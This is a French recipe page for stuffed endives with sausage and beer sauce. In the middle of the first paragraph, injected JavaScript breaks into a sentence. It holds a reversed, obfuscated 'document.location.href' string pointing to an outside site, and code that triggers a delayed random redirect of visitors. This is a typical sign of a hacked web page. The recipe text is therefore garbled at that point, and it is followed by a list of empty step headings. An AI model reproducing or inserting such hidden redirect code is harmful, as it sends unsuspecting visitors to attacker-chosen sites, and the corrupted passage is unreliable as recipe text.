Endives farcies
2021-03-10- Niveau : Difficile
Pelez, coupez en deux l’ail en deux. Ôtez le germe et la hacher finement. Rincez, séchez les endives. Enlevez le trognon en creusant l’endive. Enlevez les feuilles tachées. Dans une cocotte avec moitié beurre et moitié huile, sur feu vif, faites revenir les endives en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent.
Ingrédients
Pelez, coupez en deux l'ail en deux. Ôtez le germe et la hacher finement. Rincez, séchez les endives. Enlevez le trognon en creusant l'endive. Enlevez les feuilles tachées. Dans une cocotte avec moitié beurre et moitié huile, sur feu vif, faites revenir les endives en les retournant souvent. Citronnez-les pour éviter qu'elles noircissent. Salez, poivrez et mouillez avec la bière blonde. Portez à ébullition. Faites cuire pendant 20 minutes sur feu doux. Égouttez les endives, gardez le jus de cuisson. Ouvrez les endives en deux dans le sens de la longueur, déposez la moitié d'une saucisse, avec un peu d'ail hachée, maintenez l'endive / saucisse / avec de la ficelle de cuisine. Déposez-les dans un plat à gratin. Nappez avec la sauce à la bière.
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 20 minutes. Vérifiez la cuisson, sortez le plat du four. Enlevez la ficelle. Parsemez de persil haché et dégustez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
Etape 16
Etape 17
Etape 18
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